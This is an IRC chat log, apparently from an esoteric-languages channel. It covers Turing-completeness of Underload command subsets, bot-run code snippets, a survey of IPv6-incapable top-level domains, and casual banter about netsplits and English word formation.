12:53:19 <oerjan> hi ais523
12:53:58 <ais523> hi
12:54:23 <oerjan> i think i have an idea for :()^!a TC-ness as well
12:56:30 <oerjan> basically use a instead of ~ in the turing machine construction for getting information into the left part of the tape
12:57:15 <ais523> hmm, is it usual for a language to have this many different minimizations?
12:57:31 <oerjan> i don't know :)
12:57:44 <oerjan> well given enough instructions, probably
12:57:49 <ais523> elliott already proved that () can be omitted so long as you have some other command for producing stack elements containing arbitrary commands
12:57:59 <oerjan> i remember
12:59:28 <oerjan> anyway we so far seem to have :()^~, :()^a*, and :()^!a as minimal known TC subsets (although none of them proven to be minimal)
13:01:00 <oerjan> also i believe :()^! is at the minimum a general deterministic pushdown automaton
13:01:35 <ais523> does being nondeterministic add to the power of PDAs?
13:01:39 <oerjan> yes
13:02:02 <ais523> what about one-counter Minsky machines?
13:02:19 <oerjan> nondeterministic gives context-free language recognition, deterministic only LR(1)
13:02:46 <oerjan> don't know about minsky machines
13:02:58 <ais523> LR(1)? seriously?
13:03:06 <ais523> I'd imagine it would be LR(n) for arbitrary finite n, at least
13:03:18 <ais523> because you can clearly just add extra states to read more than one character ahead
13:03:23 <oerjan> any language with an LR(n) grammar also has an LR(1) one
13:03:32 <ais523> hmm, I didn't know that
13:03:40 -!- boysetsfrog has quit (Ping timeout: 264 seconds).
13:03:42 <ais523> and it seems a little surprising, although not obviously incorrect
13:05:15 <oerjan> i think i've heard the proof is somewhat tricky
13:05:37 <oerjan> "A deterministic context-free language is a language for which some LR(k) grammar exists. Every LR(k) grammar for k > 1 can be mechanically transformed into an LR(1) grammar for the same language, while an LR(0) grammar for the same language may not exist; the LR(0) languages are a proper subset of the deterministic ones.
13:12:54 -!- KingOfKarlsruhe has joined.
13:13:32 <KingOfKarlsruhe> if someone want to compile Brainfuck to C++ ^^ http://pastebin.com/raw.php?i=0qjQJTEW it´s GuileScheme
13:13:54 <ais523> there are a bunch of brainfuck to (insert language here) compilers already
13:14:02 <ais523> is it naive, or does it try to optimise in some way?
13:14:42 <KingOfKarlsruhe> yes a little bit of optimsization
13:15:12 <KingOfKarlsruhe> optimization*
13:16:14 <KingOfKarlsruhe> ais523: if you disable "tape_protection" in the resultung code, then it is fast enough
13:17:51 <KingOfKarlsruhe> ~9s
13:17:56 <oerjan> high-speed segfaults
13:18:57 <KingOfKarlsruhe> and without tape_protection : 2.237s
13:25:08 -!- augur has joined.
13:29:52 <oerjan> ...i suddenly wonder if i can do a one-counter extended minsky machine with :()^!
13:39:39 <oerjan> because i don't need either a or ~ in the TM construction if there is just one symbol
13:39:56 <ais523> what do you mean by "extended" here?
13:40:15 <oerjan> the one which can do mult by constant and divmod
13:40:20 <oerjan> and is TM
13:40:23 <oerjan> *TC
13:40:39 <ais523> ah, divmod-based minsky machines
13:40:53 <oerjan> they're listed in our wiki article
13:40:58 <ais523> that's a bit of an abstraction inversion in a way, isn't it, because aren't two-counter minsky machines shown TC by using them to emulate divmod-based?
13:41:08 <ais523> (and yes, I knew about divmod-based, just not that name for them)
13:41:34 <oerjan> i think so, i looked at the wikipedia Counter machine article the other day
13:41:50 <oerjan> um i only made up that name now
13:41:58 <oerjan> er or you did
13:42:03 <ais523> ah, no wonder I didn't know what it meant!
13:42:51 <oerjan> it would look like (U)(U)(T)^n(T):^!{s}^^{m}!^
13:42:51 <ais523> your fix on Checkout was entirely correct, btw; malloc/6 was originally a /5 for technical reasons, but I realised I could make it /6 without changing the semantics, and it's a lot clearer that way
13:43:07 <oerjan> good
13:43:19 <oerjan> er
13:43:29 <oerjan> *it would look like (U)(U)(T){n}(T):^!{s}^^{m}!^
13:43:51 <oerjan> ({n} being repetition count, since ^ is sort of taken)
13:45:10 -!- augur has quit (Remote host closed the connection).
13:45:30 -!- cheater00 has joined.
13:45:34 -!- cheater- has quit (Read error: Connection reset by peer).
13:47:11 <oerjan> hm is there a technical term for that kind of turing machine? just one symbol other than the end points, but symbols can be inserted and deleted
13:49:45 <oerjan> hm wait that's _also_ a two counter ordinary minsky machine isn't it
13:49:56 <ais523> yep, assuming you have a pointer
13:50:00 <ais523> it's one-counter if you don't have a tape pointer
13:50:07 <oerjan> but we do
13:50:22 <oerjan> the (T):^!{s}^ part
13:50:49 <oerjan> and the ends are equivalent to the zero checks
13:50:58 <ais523> yep, I was talking in general, rather than in this case in particular
13:52:01 -!- Vorpal_ has joined.
13:52:20 <ais523> o
13:52:46 -!- Vorpal has quit (Disconnected by services).
13:52:51 -!- Vorpal_ has changed nick to Vorpal.
13:54:58 -!- FireFly has joined.
14:01:19 -!- azaq23 has joined.
14:06:17 <Gregor> `translate fnord
14:06:50 <HackEgo> fnord
14:10:47 -!- ais523_ has joined.
14:10:51 -!- ais523 has quit (Disconnected by services).
14:10:53 -!- ais523_ has changed nick to ais523.
14:15:55 -!- augur has joined.
14:16:57 -!- augur has quit (Remote host closed the connection).
14:18:04 -!- KingOfKarlsruhe has quit (Remote host closed the connection).
14:32:15 -!- nddrylliog has quit (Quit: Leaving).
14:40:57 <oerjan> ^ul (((()(!:^!^))(!((0)S!:^^!^)(!:^!^))(!!((1)S!:^^!^)(!::^!!^))(!!!(!:^^^)))(:^!!!^)):^^(^)(::**)::**!^
14:41:07 <oerjan> gah
14:41:10 <oerjan> oh hm
14:41:29 <oerjan> ^ul (((()(!:^!^))(!((0)S!:^^!^)(!:^!^))(!!((1)S!:^^!^)(!::^!!^))(!!!(!:^^^)))(:^!!!^)):^^(^)(::**)::**^^!^
14:41:30 <fungot> 1
14:42:05 <oerjan> argh
14:44:42 -!- BeholdMyGlory has joined.
14:44:42 -!- BeholdMyGlory has quit (Remote host closed the connection).
14:45:07 -!- BeholdMyGlory has joined.
14:48:30 <oerjan> ^ul (((((S|)S)((S*)S!:^!^))(!((R0|)S!:^^!^)((R0*)S!:^!^))(!!((R1|)S!:^^!^)((R1*)S!::^!!^))(!!!((L*)S!:^^^)))((|L)S:^!!!^)):^^(^)(::**)::**^^!^
14:48:30 <fungot> |LS*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1|
14:51:35 <oerjan> ^ul (((()(!:^!^))(!((0)S!:^^^!^)(!:^!^))(!!((1)S!:^^^!^)(!::^!!^))(!!!(!:^^^)))(:^!!!^)):^^(^)(::**)::**^^!^
14:51:36 <fungot> 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 ...too much output!
14:51:39 <oerjan> ff
14:52:08 <oerjan> ^ul (((((S|)S)((S*)S!:^!^))(!((R0|)S!:^^^!^)((R0*)S!:^!^))(!!((R1|)S!:^^^!^)((R1*)S!::^!!^))(!!!((L*)S!:^^^)))((|L)S:^!!!^)):^^(^)(::**)::**^^!^
14:52:08 <fungot> |LS*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1|L*L*L*L*L*L*L*L*L*L*L*L*L*|LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS*R1||LS ...too much output!
14:54:19 <Gregor> `translate plurty
14:54:20 <HackEgo> plurty
14:54:32 <Gregor> `translate schill
14:54:34 <HackEgo> Schill
14:54:41 <Gregor> Bahaha, it capitalized it :P
15:01:44 <oerjan> ^ul (((()(!:^!^))(!((0)S!:^^^!^)(!:^!^))(!!((1)S!:^^^!^)(!::^!!^))(!!!(!:^^^^)))(:^!!!^)):^^(^)(::**)::**^^!^
15:01:45 <fungot> 100110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ...too much output!
15:02:52 <oerjan> ^ul (((((S|)S)((S*)S!:^!^))(!((R0|)S!:^^^!^)((R0*)S!:^!^))(!!((R1|)S!:^^^!^)((R1*)S!::^!!^))(!!!((L*)S!:^^^^)))((|L)S:^!!!^)):^^(^)(::**)::**^^!^
15:02:52 <fungot> |LS*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1|L*L*L*L*L*L*L*L*L*L*L*L*L*|LS*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0*R1*R0|L*L*L*L*L*L*L*|LS*R1*R0*R1*R0*R1*R0*R1*R0|L*L*L*L*|LS*R1*R0*R1*R0*R1|L*L*|LS*R1*R0*R1|L*|LS*R1*R0|L*|LS*R1*R0|L*|LS*R1*R0|L*|LS*R1*R0|L*|LS*R1*R0|L*|LS*R1*R0|L*|LS*R1* ...too much output!
15:07:23 -!- Phantom_Hoover has joined.
15:07:34 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
15:09:44 -!- ais523 has quit (Read error: Operation timed out).
15:10:59 -!- ais523 has joined.
15:11:39 -!- Phantom__Hoover has joined.
15:13:51 -!- azaq23 has quit (Ping timeout: 240 seconds).
15:15:55 -!- Phantom_Hoover has quit (Ping timeout: 272 seconds).
15:16:24 -!- ais523_ has joined.
15:17:23 -!- ais523 has quit (Ping timeout: 264 seconds).
15:17:36 -!- ais523_ has changed nick to ais523.
15:22:54 -!- asiekierka has joined.
15:25:48 -!- azaq23 has joined.
15:26:41 -!- cheater00 has quit (Ping timeout: 246 seconds).
15:28:17 -!- cheater00 has joined.
15:31:39 -!- copumpkin has joined.
15:34:49 -!- ais523 has quit (Read error: Connection reset by peer).
15:35:07 -!- ais523 has joined.
15:38:23 -!- ais523 has quit (Read error: Connection reset by peer).
15:54:32 -!- asiekierka has quit (Ping timeout: 272 seconds).
16:11:20 -!- sebbu2 has joined.
16:11:20 -!- sebbu2 has quit (Changing host).
16:11:20 -!- sebbu2 has joined.
16:11:29 -!- sebbu has quit (Read error: Connection reset by peer).
16:12:03 -!- sebbu2 has changed nick to sebbu.
16:14:14 -!- sftp has quit (Read error: Operation timed out).
16:14:40 -!- sftp has joined.
16:14:44 -!- oerjan has quit (Quit: leaving).
16:16:44 -!- copumpkin has quit (Read error: Operation timed out).
16:19:45 -!- copumpkin has joined.
16:26:54 -!- pumpkin has joined.
16:29:28 -!- copumpkin has quit (Ping timeout: 250 seconds).
16:30:09 -!- hagb4rd has joined.
16:30:28 <hagb4rd> hey ya
16:30:43 -!- ferix2x has joined.
16:47:37 -!- asiekierka has joined.
16:51:03 <Ilari> APNIC down <0.01. 16k+2x4k+2k to Japan, 4k to India, 256 to Indonesia, 2x256 to Vietnam. IPv6: /32 to Cambodia, /32 to Nepal.
16:51:51 -!- Sgeo_ has quit (Read error: Connection reset by peer).
16:52:17 -!- Sgeo_ has joined.
16:53:43 -!- pumpkin has changed nick to copumpkin.
17:18:30 -!- asiekierka has quit (Read error: Operation timed out).
17:18:46 -!- augur has joined.
17:24:47 -!- bleaa has joined.
17:25:05 <bleaa> hi all
17:27:51 -!- bleaa has quit (Read error: Connection reset by peer).
17:31:12 -!- cheater- has joined.
17:31:23 -!- cheater00 has quit (Ping timeout: 272 seconds).
17:36:17 <Ilari> Tsk, tsk. .se doesn't look like IPv6-ready. :-)
17:40:56 <Gregor> What, the whole country?
17:41:03 <Gregor> Or the TLD DNS?
17:41:39 -!- asiekierka has joined.
17:42:25 <Ilari> Authoritative DNS for .se.
17:45:03 <Gregor> Mmmm
17:45:07 <Gregor> That's bad.
17:46:36 <Gregor> But then, who cares about .se <trollface/>
17:47:19 <Ilari> Oops, they do have IPv6 nameservers.
17:47:45 <Ilari> At least 3.
18:01:38 <Ilari> TLDs that really seem IPv6-incapable: ag, ai, asia, aw, ax, ba, bb, bd, bf, bh, bj, bn, bo, bs, bv, bz, cc, ck, cm, co, coop, cr, cx, dj, dm, er, fk, fo, gd, gf, gi, gm, gov, gp, gu, hm, hn, info, iq, ir, jobs, kp, ky, lc, mg, mh, mil, mm, mn, mobi, mp, mq, mu, mv, name, nc, ne, ni, nu,
18:04:29 <Ilari> pf, pg, pk, pr, pro, pw, qa, sc, sd, sj, sl, sm, sr, st, sv, sy, tc, td, tg, tk, tl, to, tr, tt, tv, uz, vc, vg, vi, vu, ws, ye, zw, xn--ogbpf8fl, xn--wgbh1c, xn--wgbl6a and xn--ygbi2ammx
18:06:31 <Gregor> Yowza
18:06:32 <Ilari> How I did get that list: I AXFR'd root zone, collected all AAAA records there, then filtered all TLDs having NS pointing to one of those AAAA records and then diffed that with full list of all TLDs there.
18:06:39 <Gregor> Glad at least us isn't on there :P
18:07:12 <Ilari> And .asia and .mobi is there?
18:08:42 <Ilari> Urgh. Looks like that list is generated quite wrong.
18:12:38 <Ilari> Hopefully generating it correctly: ai, aw, ax, ba, bb, bd, bf, bh, bj, bn, bo, bs, bv, cc, ck, cm, co, coop, cr, cx, dj, dm, er, fk, fo, gd, gf, gm, gov, gp, gu, hm, iq, ir, jobs, kp, ky, mg, mh, mil, mm, mp, mq, mu, mv, name, nc, ne, ni, nu, pf, pg, pk, pr, pro, pw, qa, sd, sj, sl, sm, sr, st,
18:13:00 <Ilari> sv, sy, tc, td, tg, tk, tl, to, tr, tt, tv, uz, vg, vi, vu, ws, ye, zw, xn--ogbpf8fl, xn--wgbh1c, xn--wgbl6a and xn--ygbi2ammx.
18:13:36 <Gregor> .name???
18:13:46 <Gregor> Isn't that administered by one of the groups that administers .com, .net or .org?
18:15:53 <Gregor> Yeah, it's run by VeriSign.
18:16:14 <Gregor> How is it that they can figure out .com and .net, but not .name, .cc or .tv :P
18:16:59 <Ilari> Nope, same gorup that administers, tv, cc and jobs. And they have NSes running IPv6. Except those aren't used for the TLDs they admin.
18:18:54 <Ilari> And with luck, there's couple TLDs there that do have IPv6 capability but no AAAA glue records in the root zone.
18:24:50 <Ilari> And yes, .mil and .gov really appear to be IPv6-incapable.
18:28:32 <pikhq> That should change soon...
18:28:48 <pikhq> DoD directive requiring all military systems to be on IPv6 by January 2012.
18:31:34 <Ilari> Heh. There are legends about DOD having IPv6 /13, but there doesn't seem to be public allocation records for that. So perhaps it is "bogon" space.
18:33:04 <Ilari> The biggest block I can find allocation records for is a /16, apparently to some NIR in Brazil.
18:40:27 -!- pikhq_ has joined.
18:40:45 -!- augur has quit (Ping timeout: 246 seconds).
18:41:09 -!- pikhq has quit (Ping timeout: 272 seconds).
19:09:05 -!- copumpkin has quit (Ping timeout: 250 seconds).
19:10:29 -!- copumpkin has joined.
19:15:20 -!- Phantom__Hoover has quit (Ping timeout: 272 seconds).
19:16:39 -!- asiekierka has quit (Ping timeout: 276 seconds).
19:26:09 -!- augur has joined.
19:40:01 -!- TLUL has joined.
20:04:23 -!- Phantom__Hoover has joined.
20:12:59 -!- asiekierka[ds] has joined.
20:13:06 <asiekierka[ds]> hhhi
20:13:47 <Gregor> Are you .... IRC'ing from a Nintendo DS?
20:14:57 <Ilari> 306 TLDs total, 222 of those are IPv6 capable. So that leaves 84 TLDs that are IPv4-only.
20:15:06 -!- asiekierka[ds] has quit (Read error: Connection reset by peer).
20:17:18 <Ilari> What could be fun list: All ASNs announcing IPv4 space but no IPv6 space.
20:18:07 <Ilari> Oh, and complete with AS names.
20:19:24 <Ilari> To the public internet that is.
20:22:47 <Phantom__Hoover> Gregor, no, from deep space.
20:23:14 <Gregor> Ahhhh
20:23:15 <Gregor> Better
20:23:24 <Gregor> Explains the lag time for him to respond, too.
20:23:35 <fizzie> Explains the read error.
20:24:04 <fizzie> Though the DS IRC clients I've used have been rather horrible, so that's not a completely ruled-out possibility either.
20:27:46 <Gregor> lol
20:28:34 <fizzie> There's one in DSorganize, and it's bad. Almost as bad as the "web browser".
20:28:41 <fizzie> Have to put that in quotes.
20:29:28 <Gregor> Well, what do you expect from a suite named "disorganize"
20:31:11 <fizzie> If I recall correctly, ClIRC -- http://www.ds-xtra.com/ClIRC -- wasn't really anything to write home about either.
20:32:00 <fizzie> Haven't tried either in a long while, though, since the DS doesn't do WPA. (I used to have a separate 802.11b USB stick I ran in access point mode + NAT for trying DS networking stuff out.)
20:37:12 <Phantom__Hoover> fungot,
20:37:13 <fungot> Phantom__Hoover: i'm wondering how to modify a number? cause a string can be applied to arguments ( which, if i just don't know
20:40:19 <Phantom__Hoover> ferix2x, I haven't seen you here before.
20:40:19 <Phantom__Hoover> Welcome!
20:47:00 <Gregor> I don't see him here now :P
20:49:06 <Phantom__Hoover> WELL I DON'T CARE
20:50:55 -!- elliott has joined.
20:52:28 <elliott> 20:22:01 <oerjan> while "readonlyly" looks barely possible as an adverb, allowing it to stay would make it only about the 9th google hit so i assume it's a typo for "readonly".
20:52:32 <elliott> no, ais types like that
20:59:44 <olsner> shouldn't that be readonlily?
21:00:08 <olsner> feels like the y should become i when you bend the word like that
21:00:15 <elliott> indeed
21:08:21 -!- Slereah has quit (*.net *.split).
21:14:38 -!- sftp has quit (Remote host closed the connection).
21:18:07 -!- FireFly has quit (*.net *.split).
21:18:12 -!- clog has joined.
21:18:12 -!- clog_ has joined.
21:20:34 -!- elliott has quit (*.net *.split).
21:20:34 -!- Vorpal has quit (*.net *.split).
21:20:34 -!- yorick has quit (*.net *.split).
21:20:34 -!- dbc has quit (*.net *.split).
21:20:34 -!- miekko has quit (*.net *.split).
21:20:34 -!- fungot has quit (*.net *.split).
21:20:35 -!- tswett has quit (*.net *.split).
21:20:35 -!- Slereah_ has quit (*.net *.split).
21:20:35 -!- sebbu has quit (*.net *.split).
21:20:35 -!- azaq23 has quit (*.net *.split).
21:20:35 -!- ineiros has quit (*.net *.split).
21:20:35 -!- EgoBot has quit (*.net *.split).
21:20:36 -!- Zuu has quit (*.net *.split).
21:20:36 -!- Ilari has quit (*.net *.split).
21:20:36 -!- Ilari_antrcomp has quit (*.net *.split).
21:20:53 -!- variable has quit (*.net *.split).
21:20:53 -!- aloril has quit (*.net *.split).
21:20:53 -!- rodgort has quit (*.net *.split).
21:20:54 -!- Deewiant has quit (*.net *.split).
21:20:54 -!- lambdabot has quit (*.net *.split).
21:20:54 -!- comex_ has quit (*.net *.split).
21:20:55 -!- Slereah has quit (*.net *.split).
21:20:56 -!- sftp has quit (*.net *.split).
21:20:56 -!- mtve has quit (*.net *.split).
21:20:57 -!- BeholdMyGlory has quit (*.net *.split).
21:20:57 -!- SimonRC has quit (*.net *.split).
21:20:57 -!- coppro has quit (*.net *.split).
21:20:57 -!- clog has quit (*.net *.split).
21:21:26 <Phantom__Hoover> So have I been netsplit, or have they?
21:21:42 <quintopia> you're on my side PH
21:21:44 <quintopia> the cool side
21:21:57 <olsner> meh, why did I have to end up with you guys?
21:22:02 <Phantom__Hoover> Yeah.
21:22:03 <quintopia> that was a p huge split
21:22:11 <Phantom__Hoover> olsner, because we're the better ones.
21:22:20 <quintopia> well
21:22:21 <olsner> Right.
21:22:22 <Phantom__Hoover> Look at the names!
21:22:24 <quintopia> except for olsner
21:22:54 <Phantom__Hoover> fizzie! augur! Gregor! lifthrasiir! mycroftiv! pikhq_!
21:23:01 <Phantom__Hoover> Aww, Sgeo_ is here as well.
21:23:14 <Phantom__Hoover> fizzie, quick, kick him before he cramps our style.
21:23:19 <augur> ..
21:23:19 <Phantom__Hoover> Get rid of cheater- as well.
21:23:21 -!- Slereah_ has joined.
21:23:21 -!- elliott has joined.
21:23:21 -!- sebbu has joined.
21:23:21 -!- azaq23 has joined.
21:23:21 -!- Vorpal has joined.
21:23:21 -!- yorick has joined.
21:23:21 -!- dbc has joined.
21:23:21 -!- tswett has joined.
21:23:21 -!- fungot has joined.
21:23:21 -!- miekko has joined.
21:23:21 -!- ineiros has joined.
21:23:21 -!- EgoBot has joined.
21:23:21 -!- Zuu has joined.
21:23:21 -!- Ilari has joined.
21:23:21 -!- Ilari_antrcomp has joined.
21:24:57 <fizzie> Too late!
21:25:22 <quintopia> welcome back
21:29:01 <elliott> "Too late"?
21:29:55 <Phantom__Hoover> To kick Sgeo_ and cheater- before they ruined the party on the awesome side of the netsplit.
21:40:52 -!- comex_ has joined.
21:40:52 -!- lambdabot has joined.
21:40:52 -!- Deewiant has joined.
21:40:52 -!- rodgort has joined.
21:40:52 -!- aloril has joined.
21:40:52 -!- variable has joined.
21:40:52 -!- SimonRC has joined.
21:40:52 -!- mtve has joined.
21:40:52 -!- coppro has joined.
21:41:31 <cheater-> Phantom__Hoover: stop trolling
21:42:48 -!- nddrylliog has joined.
21:44:37 <cheater-> Ilari: .cx is ipv6 incapable??
21:44:47 <cheater-> Ilari: can this really mean the true, real end of goatse.cx???
21:45:00 <cheater-> NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
21:45:20 <olsner> eeh, that page exists on something like thousands of other addresses
21:45:52 <olsner> and there's room for about 2^100 more in ipv6
21:46:27 <cheater-> yes, but the domain has a sentimental value :(
21:46:39 <olsner> no it doesn't :)
21:46:57 <cheater-> it'll feel like something important is gone
21:47:29 <cheater-> imagine that suddenly st. paul's cathedral in london is gone
21:47:31 <cheater-> forever
21:47:37 <olsner> I wouldn't care about that
21:47:44 <cheater-> what would you care about
21:47:58 <cheater-> imagine one of your fingers is gone forever
21:48:08 <cheater-> that's what it would feel like
21:48:09 <olsner> that would be sad
21:48:14 <Ilari> Right, .cx doesn't seem to support IPv6.
21:48:20 <cheater-> yes, that's exactly how sad it would be
21:48:23 <olsner> especially if one of my fingers was a cathedral in london
21:48:29 <cheater-> Ilari: can .cx fix this problem?
21:48:36 <cheater-> Ilari: or is this something unfixable?
21:48:55 <Ilari> Yes, they can. The DNS is handled by dyntld.net
21:49:02 <olsner> but I imagine a domain name would be of little use as a finger, so I would probably be fine about losing it
21:49:15 -!- Wamanuz5 has changed nick to 5EXAB9FNH.
21:49:16 <elliott> What page?
21:49:19 -!- Wamanuz5 has joined.
21:49:22 <elliott> Goatse?
21:49:55 <cheater-> Ilari: *PHEW*
21:50:50 <Ilari> Basically, dual-stack some/all of authoritative nameservers of the TLD and then send the AAAA glue records to root.
21:52:29 <Ilari> 222 TLDs have AAAA glue records in the root zone.
21:53:37 <Ilari> (there are 306 total).
21:56:40 -!- dbc has changed nick to 50UAAAYNV.
21:56:44 -!- dbc has joined.
21:56:44 -!- elliott_ has joined.
21:58:10 -!- elliott has quit (*.net *.split).
21:58:10 -!- Vorpal has quit (*.net *.split).
21:58:11 -!- yorick has quit (*.net *.split).
21:58:11 -!- 50UAAAYNV has quit (*.net *.split).
21:58:11 -!- miekko has quit (*.net *.split).
21:58:11 -!- fungot has quit (*.net *.split).
21:58:11 -!- tswett has quit (*.net *.split).
21:58:41 -!- mtve has quit (*.net *.split).
21:58:41 -!- SimonRC has quit (*.net *.split).
21:58:41 -!- coppro has quit (*.net *.split).
21:58:50 -!- Vorpal has joined.
22:00:35 -!- 5EXAB9FNH has quit (*.net *.split).
22:04:10 -!- coppro has joined.
22:04:50 -!- SimonRC has joined.
22:04:54 -!- miekko has joined.
22:06:51 -!- tswett has joined.
22:07:17 -!- Vorpal has quit (Changing host).
22:07:17 -!- Vorpal has joined.
22:07:22 -!- Behold has quit (Changing host).
22:07:22 -!- Behold has joined.
22:07:58 -!- miekko has quit (Ping timeout: 250 seconds).
22:09:09 -!- SimonRC has quit (Ping timeout: 240 seconds).
22:10:20 * Phantom__Hoover → sleep
22:10:23 -!- Phantom__Hoover has quit (Remote host closed the connection).
22:10:47 -!- SimonRC has joined.
22:15:09 -!- miekko has joined.
22:20:04 -!- pikhq_ has quit (Ping timeout: 240 seconds).
22:20:13 -!- yorick has joined.
22:20:13 -!- pikhq has joined.
22:33:36 <elliott_> ^ul (:!:!:*)(:)~^S
22:33:43 <elliott_> fizzie: FUNGOT
22:38:56 -!- fungot has joined.
22:39:00 <fizzie> A split casualty, I guess.
22:39:23 <fizzie> (gone now)
22:48:15 -!- iconmaster has joined.
22:49:20 <elliott_> ^ul (:!:!:*)(:)~^S
22:49:20 <fungot> ::
22:53:55 <iconmaster> IconJoust is FINALLY done virusscaning, and is linked at the BF Joust page!
22:54:08 <iconmaster> Yay me.
22:54:16 <elliott_> I made your table less ugly
22:54:44 <iconmaster> Yes, thanks. Im not good at tables.
22:55:35 <iconmaster> Im not good at much (other than Lua, really). Yay high self esteem!
22:58:53 * iconmaster acrually thinks better of himself than he shows. no, really!
22:59:18 <elliott_> I WONDER WHY, HA HA
22:59:42 <iconmaster> HA HA HA... Wait...
23:00:29 <iconmaster> Ya, im going to try to work a ()* system for IconJoust this weekend.
23:00:47 <iconmaster> It needs it.
23:00:47 <elliott_> ()* is eas, ()% is not
23:00:50 <elliott_> *easy
23:02:07 <iconmaster> Well, doesnt (a{b}c)%x equal to (a)*xb(c)*x?
23:03:06 <iconmaster> Or am is my knowlodge of % correct?
23:03:25 <elliott_> iconmaster: (x[y{z}a]b)%n is valid.
23:03:30 <elliott_> (But (x[y)*n is not.)
23:03:36 <elliott_> The point is that ({})% allows you to do nesting.
23:03:47 <iconmaster> Oh.
23:04:17 -!- Slereah_ has quit (Ping timeout: 260 seconds).
23:04:26 <iconmaster> Why can't you do ([)? it would be easy in IconJoust.
23:04:42 <iconmaster> As long as you march correctly
23:04:44 -!- FireFly has quit (Quit: swatted to death).
23:04:51 -!- Slereah has joined.
23:05:03 <iconmaster> *match
23:06:43 <elliott_> iconmaster: You're just going to expand them in memory.
23:06:46 <elliott_> This is hideously slow.
23:07:02 <elliott_> Especially since ()% allows the expansion of a program to be exponentially bigger than its source.
23:07:56 <iconmaster> But () would lagdeath to display the program! It needs to iterate.
23:08:23 <iconmaster> Hmmm... Ill sort this out. Brb for now.
23:08:27 -!- iconmaster has quit (Quit: Rooms • iPhone IRC Client • http://www.roomsapp.mobi).
23:09:16 <elliott_> hmm, what do you need apart from NAND to do arithmetic?
23:09:28 <elliott_> bitwise nand
23:09:28 <elliott_> that is
23:09:40 <elliott_> well, nand gives you xor...
23:16:19 <elliott_> ;; mov r3 <- r4
23:16:19 <elliott_> log r9 <- r4, r4
23:16:19 <elliott_> log r4 <- r3, r3
23:16:19 <elliott_> log r4 <- r4, r4
23:16:19 <elliott_> log r3 <- r9, r9
23:16:24 <elliott_> gotta love any machine where mov isn't a primitive
23:25:40 -!- azaq231 has joined.
23:27:37 -!- azaq23 has quit (Ping timeout: 260 seconds).
23:30:43 -!- oerjan has joined.
23:32:45 <oerjan> 12:52:28 <elliott> 20:22:01 <oerjan> while "readonlyly" looks barely possible as an adverb, allowing it to stay would make it only about the 9th google hit so i assume it's a typo for "readonly".
23:32:49 <oerjan> 12:52:32 <elliott> no, ais types like that
23:32:51 <oerjan> 12:59:44 <olsner> shouldn't that be readonlily?
23:32:54 <oerjan> 13:00:08 <olsner> feels like the y should become i when you bend the word like that
23:33:03 <oerjan> i thought about that, but it didn't really help with the google hits :D
23:33:16 <elliott_> oerjan: i'm an authority, i have successfully mimicked ais523's writing style completely undetected before, a rare feat!
23:33:26 <oerjan> bravo!
23:33:44 <elliott_> oerjan: i can assure you that if "readonlyly" makes sense there it was totally intentional :P
23:33:59 <elliott_> I wish English made such things more elegant
23:34:14 <elliott_> like, a nice to-adverb suffix. and it should be agglutinative.
23:34:35 <elliott_> actually "read-only" is a good word because it's essentially agglutinative anyway
23:34:40 <oerjan> well it's mainly inelegant there because you have an adjective made with a -ly adverb inside
23:34:41 <elliott_> readonly
23:34:43 <elliott_> erm
23:34:49 <elliott_> *drop that line
23:34:56 <elliott_> oerjan: is only derived from an adverb?
23:35:22 <oerjan> um it _is_ an adverb, presumably derived from "one"?
23:35:34 <elliott_> I would call only an adjective?
23:35:45 <elliott_> wordnet agrees
23:35:55 <oerjan> ok it can be used for both i think
23:36:04 <elliott_> I'm not sure the "one" etymology is clear either
23:36:46 -!- Behold has quit (Remote host closed the connection).
23:36:48 <elliott_> oerjan: anyway vocabulary should be formed for maximal elegance upon arbitrary composition
23:36:53 <oerjan> hm ok it was the obvious one though
23:37:02 <elliott_> oh it may be true, it's just not obvious to me as a dumb native
23:37:45 <oerjan> well only means "just the one", sort of
23:37:54 <elliott_> well yes
23:37:57 <oerjan> *-the, maybe
23:38:00 <elliott_> oerjan: really though. agglutinativitivity is totally awesome
23:38:31 <oerjan> the norwegian equivalent is "eneste", which would directly translate as "onest"
23:38:38 <oerjan> *"one-est"
23:38:42 <elliott_> hey pikhq
23:38:59 <elliott_> if i want a language that's so fucking agglutinative that the speakers don't even know how to not agglut things
23:39:03 <elliott_> what's a good choice
23:39:12 <elliott_> how agglutinative is moonspeak?
23:39:18 <oerjan> finnish i would think
23:39:31 <oerjan> greenlandic, even more
23:39:40 <miekko> greenlandic is pretty bad
23:39:46 <miekko> but I think there's some native american langs that
23:39:50 <miekko> way outdo it
23:39:54 <miekko> and some australian ones
23:39:59 <elliott_> finnish is pretty agglutinative i think yes
23:40:03 <miekko> iirc kayardild permits stacking casess
23:40:06 <elliott_> but wp says jap is too
23:40:12 <miekko> japanese only agglutinates in the verbs
23:40:13 <oerjan> yeah i hear native american languages in general tend to be much more agglutinative
